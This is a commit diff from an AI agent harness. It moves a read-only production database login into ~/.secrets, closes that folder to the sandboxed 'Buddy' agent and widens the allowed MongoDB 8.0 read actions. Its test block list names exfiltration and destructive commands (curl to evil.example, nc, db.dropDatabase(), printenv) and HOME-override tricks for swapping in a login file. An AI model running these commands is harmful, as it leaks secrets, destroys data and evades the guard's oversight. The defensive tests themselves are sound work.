Skip to content

The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.

Buddy db-size: accept MongoDB 8.0's read-only roles, read the login from ~/.secrets (#2338)

0xken152bbcad4c4360
diff --git a/cli/src/lib/buddyGuard.ts b/cli/src/lib/buddyGuard.ts
index 25ef6b173..6f344d9f8 100644
--- a/cli/src/lib/buddyGuard.ts
+++ b/cli/src/lib/buddyGuard.ts
@@ -51,7 +51,7 @@ export const BUDDY_ENGINE_HOMES: Record<Exclude<AgentEngine, 'terminal'>, readon
* the Claude Code and Codex folders, where agents on this machine keep transcripts and pasted Swarm messages from chats
* the Buddy may not read (the Leads conversation, private chats, other projects). */
const CLOSED_IN_HOME = ['.ssh', '.aws', '.azure', '.config/gcloud', '.gnupg', '.kube', '.docker', '.config/gh', '.config/hub', '.config/anthropic', '.config/argocd',
- '.argocd', '.config/git/credentials', '.password-store', '.config/op', '.zsh_sessions', '.bash_sessions', '.local/share/fish',
+ '.argocd', '.secrets', '.config/git/credentials', '.password-store', '.config/op', '.zsh_sessions', '.bash_sessions', '.local/share/fish',
'Library/Caches/claude-cli-nodejs', ...Object.values(BUDDY_ENGINE_HOMES).flat(),
'.mozilla', '.config/google-chrome', '.config/chromium', '.config/BraveSoftware', '.config/microsoft-edge', '.zsh_history',
'.bash_history', '.zhistory', '.python_history', '.node_repl_history', '.mongodb', '.dbshell', '.psql_history', '.mysql_history',
@@ -378,7 +378,7 @@ const under = (path, folder) => fold(path) === fold(folder) || fold(path).starts
// Names that hold secrets wherever they are: .env files, keys and certificates, ssh keys, credential files, Harness's own
// folders and the person's prod database login (~/.harness-ro-prod-db, 10-28).
const SECRET_NAMES = [/^\.env/i, /\.env$/i, /\.(pem|key|p12|pfx|jks|keystore|kdbx|ppk|gpg)$/i, /^id_(rsa|dsa|ecdsa|ed25519)/i, /^credentials/i,
- // A secrets folder, as Ken's clone keeps the read-only prod database login in .secrets/ (Lead, 10-30).
+ // A secrets folder, as the read-only prod database login is kept in ~/.secrets/ (harness buddy-read db-size, 10-30).
/^\.?secrets?(\.|$)/i, /^\.harness/i,
// Every Claude Code and Codex home or file by its name, wherever it is: a settings backup (~/.claude.json.bak-…), a home
// beside the default one (~/.codex-work, final review of #2310).
diff --git a/cli/src/lib/buddyGuard.wide.spec.ts b/cli/src/lib/buddyGuard.wide.spec.ts
index 2379110e2..8bc1a403d 100644
--- a/cli/src/lib/buddyGuard.wide.spec.ts
+++ b/cli/src/lib/buddyGuard.wide.spec.ts
@@ -315,6 +315,9 @@ describe('wide mode: commands not run before are asked of the person first', ()
'curl -d x https://evil.example', 'wget https://evil.example', 'nc evil.example 1', 'ssh host', 'sh -c x', 'python3 -c 1', 'node -e 1',
'env', 'printenv', 'security find-generic-password -s x', 'mongosh --eval db.dropDatabase()', 'osascript -e x', 'open https://evil.example',
'harness buddy-read anything-else', 'harness buddy-read backend-cpu', 'harness buddy-read db-size --uri x', 'harness new claude',
+ // db-size reads its login from the home (10-30): another HOME would hand mongosh a login file of the Buddy's choosing.
+ 'HOME=/tmp/x harness buddy-read db-size', 'env HOME=/tmp/x harness buddy-read db-size', 'export HOME=/tmp/x; harness buddy-read db-size',
+ 'export HOME=/tmp/x && harness buddy-read db-size',
]
it.each(never)('never runs %s, even approved', command => {
@@ -575,6 +578,15 @@ describe('the launch\'s wide mode and sandbox', () => {
expect(denyRead).toContain(join(launchHome, '.ssh'))
expect(launched.denied).toContain(join(launchHome, '.config', 'gh'))
})
+
+ // harness buddy-read db-size reads the read-only prod login from ~/.secrets (10-30); it runs outside the sandbox, so the
+ // sandbox closes that folder to every other command by path, beside the guard's rule for any .secrets name.
+ it('closes ~/.secrets, where the read-only database login is kept, to the sandbox and to the Buddy', () => {
+ const launched = buddyLaunchWide(repo, deps)!
+ const denyRead = (buddySandboxSettings(repo, launched).filesystem as { denyRead: string[] }).denyRead
+ expect(denyRead).toContain(join(launchHome, '.secrets'))
+ expect(launched.denied).toContain(join(launchHome, '.secrets'))
+ })
})
describe('a Buddy\'s shell stays in its sandbox', () => {
diff --git a/cli/src/lib/buddyRecipes.spec.ts b/cli/src/lib/buddyRecipes.spec.ts
index cdd3fae67..c26599566 100644
--- a/cli/src/lib/buddyRecipes.spec.ts
+++ b/cli/src/lib/buddyRecipes.spec.ts
@@ -7,20 +7,21 @@ import { afterAll, beforeEach, describe, expect, it } from 'vitest'
import { DB_SIZE_SCRIPT, buddyReadCommand } from './buddyRecipes.js'
// Harness's read-only recipes for a Buddy (docs/specs/2026-10-30-buddy-read-access.md): Juno's database read (Lead, 10-30),
-// with the read-only login Ken's clone keeps in .secrets/, which the Buddy itself never sees.
+// with the read-only login its person keeps in ~/.secrets/, which the Buddy itself never sees.
const parent = realpathSync(mkdtempSync(join(tmpdir(), 'buddy-recipes-')))
afterAll(() => rmSync(parent, { recursive: true, force: true }))
const URL = 'mongodb+srv://reader:[email protected]/harness'
const git = (cwd: string, ...args: string[]) => spawnSync('git', args, { cwd, encoding: 'utf8',
env: { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_AUTHOR_NAME: 't', GIT_AUTHOR_EMAIL: '[email protected]', GIT_COMMITTER_NAME: 't', GIT_COMMITTER_EMAIL: '[email protected]' } })
-// Ken's clone, and a Buddy's worktree of it: the .secrets folder is the clone's alone, never in a worktree.
-const clone = join(parent, 'openharness'), worktree = join(parent, 'worktrees', 'buddy')
-mkdirSync(clone)
+// The person's home, their clone, a Swarm worktree of it and a folder outside any clone: the login is the home's alone,
+// wherever the command runs (Ken's Mac, 10-30: run from a Swarm worktree, the clone's .secrets was not found).
+const home = join(parent, 'home'), clone = join(parent, 'openharness'), worktree = join(parent, 'worktrees', 'buddy'), elsewhere = join(parent, 'elsewhere')
+mkdirSync(home); mkdirSync(clone); mkdirSync(elsewhere)
git(clone, 'init', '-q', '-b', 'main')
writeFileSync(join(clone, 'README.md'), 'x\n'); git(clone, 'add', '.'); git(clone, 'commit', '-qm', 'x')
git(clone, 'worktree', 'add', '-q', worktree)
-const envFile = join(clone, '.secrets', 'mongodb-prod-readonly.env')
+const secrets = join(home, '.secrets'), envFile = join(secrets, 'mongodb-prod-readonly.env')
// A stand-in mongosh: it records its arguments and whether the login reached it by environment, and answers as told.
const bin = join(parent, 'bin'), seen = join(parent, 'seen.json')
@@ -33,16 +34,23 @@ function mongosh(answer: { stdout?: string; stderr?: string; status?: number })
}
async function run(args: string[], cwd = worktree) {
const out: string[] = []
- const code = await buddyReadCommand(args, { cwd, path: `${bin}:${process.env.PATH}`, write: (text) => out.push(text) })
- return { code, out: out.join('') }
+ const was = process.cwd()
+ process.chdir(cwd)
+ try {
+ const code = await buddyReadCommand(args, { home, path: `${bin}:${process.env.PATH}`, write: (text) => out.push(text) })
+ return { code, out: out.join('') }
+ } finally { process.chdir(was) }
}
+const login = (text: string) => { mkdirSync(secrets, { recursive: true }); writeFileSync(envFile, text) }
describe('harness buddy-read db-size', () => {
- beforeEach(() => { rmSync(join(clone, '.secrets'), { recursive: true, force: true }); rmSync(seen, { force: true }) })
+ beforeEach(() => {
+ for (const folder of [secrets, join(clone, '.secrets'), join(worktree, '.secrets')]) rmSync(folder, { recursive: true, force: true })
+ rmSync(seen, { force: true })
+ })
- it('reads the clone\'s read-only login itself, hands it to mongosh by environment only, and prints its answer', async () => {
- mkdirSync(join(clone, '.secrets'))
- writeFileSync(envFile, `# Read-only\nexport MONGODB_PROD_RO_URL="${URL}"\nOTHER=1\n`)
+ it('reads its person\'s read-only login itself, hands it to mongosh by environment only, and prints its answer', async () => {
+ login(`# Read-only\nexport MONGODB_PROD_RO_URL="${URL}"\nOTHER=1\n`)
mongosh({ stdout: '{"database":"harness","collections":{"SuperTab":12},"attachmentBytes":2048}\n' })
const { code, out } = await run(['db-size'])
expect(code).toBe(0)
@@ -55,24 +63,43 @@ describe('harness buddy-read db-size', () => {
expect(called.track).toBe('1')
})
+ // Ken's Mac, 10-30: run from a Swarm worktree, the recipe looked in that project's clone and found no login.
+ it.each([['a Swarm worktree', worktree], ['the clone', clone], ['a folder outside any clone', elsewhere]])('finds the same login run from %s', async (_, cwd) => {
+ login(`MONGODB_PROD_RO_URL=${URL}\n`)
+ mongosh({ stdout: '{}\n' })
+ expect((await run(['db-size'], cwd)).code).toBe(0)
+ expect(JSON.parse(readFileSync(seen, 'utf8')).url).toBe(URL)
+ })
+
+ // One place only: a login in the folder it runs from, which a pull request could add, is never used.
+ it.each([['the clone', clone], ['the worktree', worktree]])('never reads a login kept in %s', async (_, folder) => {
+ mkdirSync(join(folder, '.secrets'))
+ writeFileSync(join(folder, '.secrets', 'mongodb-prod-readonly.env'), `MONGODB_PROD_RO_URL=${URL}\n`)
+ mongosh({ stdout: '{}' })
+ const { code } = await run(['db-size'], folder)
+ expect(code).toBe(1)
+ expect(() => readFileSync(seen)).toThrow()
+ })
+
it.each([['KEY=value', `MONGODB_PROD_RO_URL=${URL}`], ['single quotes', `MONGODB_PROD_RO_URL='${URL}'`]])('reads the login written as %s', async (_, line) => {
- mkdirSync(join(clone, '.secrets')); writeFileSync(envFile, `${line}\n`)
+ login(`${line}\n`)
mongosh({ stdout: '{}\n' })
expect((await run(['db-size'])).code).toBe(0)
expect(JSON.parse(readFileSync(seen, 'utf8')).url).toBe(URL)
})
- it('names the file it needs, never a value, when the clone has no read-only login', async () => {
+ it.each([['no file', null], ['a file without the login', 'OTHER=1\n'], ['an empty login', 'MONGODB_PROD_RO_URL=\n']])('says where the login goes, never a value, with %s', async (_, text) => {
+ if (text !== null) login(text)
mongosh({ stdout: '{}' })
const { code, out } = await run(['db-size'])
expect(code).toBe(1)
- expect(out).toContain(join('.secrets', 'mongodb-prod-readonly.env'))
- expect(out).toContain('MONGODB_PROD_RO_URL')
+ expect(out).toBe(`No read-only database login on this machine. Put MONGODB_PROD_RO_URL=<the read-only connection string> in ${envFile}, `
+ + 'in the home of the person this machine belongs to, readable by them alone (chmod 600). It is read from there wherever this runs.\n')
expect(() => readFileSync(seen)).toThrow()
})
it('keeps every connection string out of what it prints, mongosh\'s errors included', async () => {
- mkdirSync(join(clone, '.secrets')); writeFileSync(envFile, `MONGODB_PROD_RO_URL=${URL}\n`)
+ login(`MONGODB_PROD_RO_URL=${URL}\n`)
mongosh({ stderr: `MongoServerSelectionError: could not reach ${URL} (password Sup3rS3cret)\n`, status: 1 })
const { code, out } = await run(['db-size'])
expect(code).toBe(1)
@@ -82,7 +109,7 @@ describe('harness buddy-read db-size', () => {
})
it('says the login is not read-only when mongosh refuses it', async () => {
- mkdirSync(join(clone, '.secrets')); writeFileSync(envFile, `MONGODB_PROD_RO_URL=${URL}\n`)
+ login(`MONGODB_PROD_RO_URL=${URL}\n`)
mongosh({ stdout: '{"refused":"not read-only","roles":["readWrite"]}\n', status: 3 })
const { code, out } = await run(['db-size'])
expect(code).toBe(3)
@@ -90,6 +117,7 @@ describe('harness buddy-read db-size', () => {
})
it.each([[[]], [['db-size', '--uri', URL]], [['anything-else']]])('runs nothing for %j', async (args) => {
+ login(`MONGODB_PROD_RO_URL=${URL}\n`)
mongosh({ stdout: '{}' })
expect((await run(args)).code).toBe(2)
expect(() => readFileSync(seen)).toThrow()
@@ -99,12 +127,14 @@ describe('harness buddy-read db-size', () => {
// The script mongosh runs, run here with a stand-in for mongosh's globals: Juno's reads and nothing wider.
describe('the db-size script', () => {
const READ = ['find', 'listCollections', 'listIndexes', 'collStats', 'dbStats', 'killCursors']
- function database(roles: string[], collections: Record<string, number>, attachmentBytes: number | null, actions: string[] = READ) {
+ type Privilege = { resource: Record<string, unknown>; actions: string[] }
+ function database(roles: string[], collections: Record<string, number>, attachmentBytes: number | null, actions: string[] | Privilege[] = READ) {
const calls: unknown[] = []
+ const privileges = typeof actions[0] === 'object' ? actions as Privilege[] : [{ resource: { db: '', collection: '' }, actions: actions as string[] }]
const db = {
getName: () => 'harness',
runCommand: (command: unknown) => { calls.push(command); return { authInfo: { authenticatedUserRoles: roles.map(role => ({ role, db: 'admin' })),
- authenticatedUserPrivileges: [{ resource: { db: '', collection: '' }, actions }] } } },
+ authenticatedUserPrivileges: privileges } } },
getCollectionNames: () => Object.keys(collections),
getCollection: (name: string) => ({ estimatedDocumentCount: () => collections[name] }),
SuperTabAttachment: { aggregate: (pipeline: unknown) => { calls.push(pipeline); return { toArray: () => attachmentBytes === null ? [] : [{ _id: null, bytes: attachmentBytes }] } } },
@@ -142,4 +172,36 @@ describe('the db-size script', () => {
expect(quit).toBe(3)
expect(calls).toEqual([URL, { connectionStatus: 1, showPrivileges: true }])
})
+
+ // MongoDB 8.0's own definitions of its read and readAnyDatabase roles (src/mongo/db/auth/builtin_roles.yml on branch v8.0,
+ // last changed in 99e206a3, read 10-30): read's actions, on every ordinary collection, system.js and time-series buckets,
+ // and listDatabases on the cluster. planCacheRead is among them: Ken's read-only login was refused for it on production
+ // (MongoDB 8.0, 10-30). 7.0 grants the same; 8.2 adds performRawDataOperations, which is not allowed here.
+ const MONGO_8_0_READ = ['changeStream', 'collStats', 'dbHash', 'dbStats', 'find', 'killCursors', 'listCollections', 'listIndexes',
+ 'listSearchIndexes', 'planCacheRead']
+ const MONGO_8_0_READ_ANY_DATABASE: Privilege[] = [
+ { resource: { db: '', collection: '' }, actions: MONGO_8_0_READ },
+ { resource: { cluster: true }, actions: ['listDatabases'] },
+ { resource: { db: '', collection: 'system.js' }, actions: MONGO_8_0_READ },
+ { resource: { db: '', system_buckets: '' }, actions: MONGO_8_0_READ },
+ ]
+
+ it.each([['readAnyDatabase', MONGO_8_0_READ_ANY_DATABASE],
+ ['read', [{ resource: { db: 'harness', collection: '' }, actions: MONGO_8_0_READ }, { resource: { db: 'harness', collection: 'system.js' }, actions: MONGO_8_0_READ }]],
+ ] as [string, Privilege[]][])('reads with MongoDB 8.0\'s built-in %s role, every action it grants', (role, privileges) => {
+ const { printed, quit } = database([role], { SuperTab: 12 }, 1, privileges)
+ expect(quit).toBeNull()
+ expect(JSON.parse(printed.join('')).collections).toEqual({ SuperTab: 12 })
+ })
+
+ // What MongoDB 8.0's readWrite role adds to read (the same file), and the planner, operation and setting changes beside
+ // planCacheRead (security reviews of #2338): each one alone, beside every read action, is refused.
+ it.each(['cleanupStructuredEncryptionData', 'compactStructuredEncryptionData', 'convertToCapped', 'createCollection', 'createIndex',
+ 'createSearchIndexes', 'dropCollection', 'dropIndex', 'dropSearchIndex', 'insert', 'remove', 'renameCollectionSameDB', 'update',
+ 'updateSearchIndex', 'performRawDataOperations', 'planCacheWrite', 'killop', 'setParameter'])('refuses readAnyDatabase with %s added', action => {
+ const privileges = [...MONGO_8_0_READ_ANY_DATABASE, { resource: { db: 'harness', collection: '' }, actions: [action] }]
+ const { calls, quit } = database(['readAnyDatabase'], { SuperTab: 12 }, 1, privileges)
+ expect(quit).toBe(3)
+ expect(calls).toEqual([URL, { connectionStatus: 1, showPrivileges: true }])
+ })
})
diff --git a/cli/src/lib/buddyRecipes.ts b/cli/src/lib/buddyRecipes.ts
index 565294119..359075c15 100644
--- a/cli/src/lib/buddyRecipes.ts
+++ b/cli/src/lib/buddyRecipes.ts
@@ -1,6 +1,7 @@
import { spawnSync } from 'node:child_process'
import { readFileSync } from 'node:fs'
-import { dirname, join } from 'node:path'
+import { homedir } from 'node:os'
+import { join } from 'node:path'
/**
* Harness's read-only recipes for a Buddy (docs/specs/2026-10-30-buddy-read-access.md): `harness buddy-read NAME`, which
@@ -9,17 +10,20 @@ import { dirname, join } from 'node:path'
* sees one.
*
* db-size is Juno's database read (Lead, 10-30): the row count of each collection by estimatedDocumentCount, and the
- * attachments' bytes as a $sum of size on SuperTabAttachment, nothing wider. The login is the read-only one Ken's clone
- * keeps as MONGODB_PROD_RO_URL in .secrets/mongodb-prod-readonly.env; mongosh gets it by environment only, never on its
+ * attachments' bytes as a $sum of size on SuperTabAttachment, nothing wider. The login is the read-only one its person
+ * keeps as MONGODB_PROD_RO_URL in ~/.secrets/mongodb-prod-readonly.env; mongosh gets it by environment only, never on its
* command line, where any process could read it, and refuses any login with a role beyond reading.
*/
/** The roles of a read-only login. clusterMonitor is not one: its actions include setting changes. */
const READ_ROLES = ['read', 'readAnyDatabase']
-/** What a read-only login may do, as the server lists its privileges (connectionStatus with showPrivileges): MongoDB's
- * read and readAnyDatabase roles' actions. A role is only a name; a custom one named "read" could insert (review of #2310). */
+/** What a read-only login may do, as the server lists its privileges (connectionStatus with showPrivileges): every action
+ * MongoDB 8.0 gives its read and readAnyDatabase roles (src/mongo/db/auth/builtin_roles.yml on branch v8.0, read 10-30),
+ * each a read. A role is only a name; a custom one named "read" could insert (review of #2310). planCacheRead reads the
+ * query planner's cache ($planCacheStats, planCacheListFilters); production's readAnyDatabase has it, and leaving it out
+ * refused Ken's login (10-30). 8.2's read adds performRawDataOperations, left out until production runs 8.2. */
const READ_ACTIONS = ['changeStream', 'collStats', 'dbHash', 'dbStats', 'find', 'killCursors', 'listCollections', 'listIndexes',
- 'listSearchIndexes', 'listDatabases']
+ 'listSearchIndexes', 'planCacheRead', 'listDatabases']
/** What mongosh runs for db-size, with no rc file of the person's: its login from the environment, its roles checked first. */
export const DB_SIZE_SCRIPT = [
@@ -35,7 +39,10 @@ export const DB_SIZE_SCRIPT = [
'print(JSON.stringify({ database: db.getName(), collections, attachmentBytes: total ? total.bytes : 0 }));',
].join('\n')
-/** Where the read-only login is kept, in the main clone (a worktree has no .secrets folder), and its variable. */
+/** Where the read-only login is kept, in the person's home, and its variable. One fixed place, wherever the command runs:
+ * looking in the clone the command ran from found nothing from a Swarm worktree on Ken's Mac (10-30), and a login in the
+ * working folder is one a pull request could add. The Buddy's guard keeps any .secrets folder closed to the Buddy itself,
+ * and its sandbox denies ~/.secrets by path. */
const LOGIN_FILE = join('.secrets', 'mongodb-prod-readonly.env')
const LOGIN_VARIABLE = 'MONGODB_PROD_RO_URL'
@@ -58,20 +65,20 @@ function scrub(text: string, url: string): string {
return clean
}
-export interface BuddyReadDeps { cwd: string; path: string; write: (text: string) => void }
+export interface BuddyReadDeps { home: string; path: string; write: (text: string) => void }
-export async function buddyReadCommand(args: readonly string[], deps: BuddyReadDeps = { cwd: process.cwd(), path: process.env.PATH ?? '',
+export async function buddyReadCommand(args: readonly string[], deps: BuddyReadDeps = { home: homedir(), path: process.env.PATH ?? '',
write: (text) => { process.stdout.write(text) } }): Promise<number> {
if (args.length !== 1 || args[0] !== 'db-size') {
deps.write('Usage: harness buddy-read db-size\n db-size: each collection\'s row count and the attachments\' bytes, through the read-only login.\n')
return 2
}
- const common = spawnSync('git', ['-C', deps.cwd, 'rev-parse', '--path-format=absolute', '--git-common-dir'], { encoding: 'utf8', timeout: 10_000 })
- const file = common.status === 0 ? join(dirname(common.stdout.trim()), LOGIN_FILE) : null
+ const file = join(deps.home, LOGIN_FILE)
let url: string | null = null
- try { url = file ? envValue(readFileSync(file, 'utf8'), LOGIN_VARIABLE) : null } catch { /* none here */ }
+ try { url = envValue(readFileSync(file, 'utf8'), LOGIN_VARIABLE) } catch { /* none on this machine */ }
if (!url) {
- deps.write(`No read-only database login here: it is ${LOGIN_VARIABLE} in ${file ?? LOGIN_FILE} of this project's clone.\n`)
+ deps.write(`No read-only database login on this machine. Put ${LOGIN_VARIABLE}=<the read-only connection string> in ${file}, `
+ + 'in the home of the person this machine belongs to, readable by them alone (chmod 600). It is read from there wherever this runs.\n')
return 1
}
const run = spawnSync('mongosh', ['--nodb', '--quiet', '--norc', '--eval', DB_SIZE_SCRIPT], { encoding: 'utf8', timeout: 120_000,
diff --git a/docs/specs/2026-10-30-buddy-read-access.md b/docs/specs/2026-10-30-buddy-read-access.md
index 4b8f06e95..8f52a12bf 100644
--- a/docs/specs/2026-10-30-buddy-read-access.md
+++ b/docs/specs/2026-10-30-buddy-read-access.md
@@ -82,8 +82,8 @@ Within those folders, these stay closed:
- Shell and database histories, which keep typed secrets.
- Secrets by name, anywhere:
- `.env*` and `*.env` files
- - `.secrets`/`secrets` folders and files (Ken's clone keeps the read-only prod login in
- `.secrets/mongodb-prod-readonly.env`)
+ - `.secrets`/`secrets` folders and files (the read-only prod login is kept in
+ `~/.secrets/mongodb-prod-readonly.env`; the sandbox also denies `~/.secrets` by path)
- keys and certificates (`*.pem`, `*.key`, `*.p12`, `id_*`, and so on)
- `credentials*`, `.netrc`, `.npmrc`, `.pypirc`, `.pgpass`
- `.harness*`, and names like `ro-prod` or `prod-db`
@@ -122,11 +122,14 @@ The measurements use Juno's read-only methods (Lead, 10-30), nothing wider:
--group apps --since-seconds 3600`. The backend logs a `cpu by kind` line every minute per pod, with `processCpuMs`
(`backend/src/lib/selfProfile.ts`).
- **Pods, restarts and HPA**: `argocd app get-resource … --kind Pod -o json` and `--kind HorizontalPodAutoscaler`.
-- **DB**: `harness buddy-read db-size` (`cli/src/lib/buddyRecipes.ts`). It reads `MONGODB_PROD_RO_URL` from the main
- clone's `.secrets/mongodb-prod-readonly.env` itself and gives it to `mongosh` (`--nodb --quiet --norc`) only through
+- **DB**: `harness buddy-read db-size` (`cli/src/lib/buddyRecipes.ts`). It reads `MONGODB_PROD_RO_URL` from
+ `~/.secrets/mongodb-prod-readonly.env` in the person's home itself, one fixed place wherever it runs (run from a Swarm
+ worktree, the clone's file was not found on Ken's Mac, 10-30), and gives it to `mongosh` (`--nodb --quiet --norc`) only through
the environment, never on its command line, with mongosh's telemetry off for the run. Before reading anything it asks
the server for the login's privileges (`connectionStatus` with `showPrivileges`). It refuses any role other than
- `read` or `readAnyDatabase`, and any action beyond theirs; `clusterMonitor` is refused, as its actions include setting
+ `read` or `readAnyDatabase`, and any action beyond what MongoDB 8.0 grants them (`builtin_roles.yml` on branch v8.0:
+ `changeStream`, `collStats`, `dbHash`, `dbStats`, `find`, `killCursors`, `listCollections`, `listIndexes`,
+ `listSearchIndexes`, `planCacheRead`, and `listDatabases` on the cluster; 8.2's `performRawDataOperations` is left out); `clusterMonitor` is refused, as its actions include setting
changes. It reads `estimatedDocumentCount` per collection and a `$sum` of `size` on
`SuperTabAttachment`, and prints no connection string, its errors included.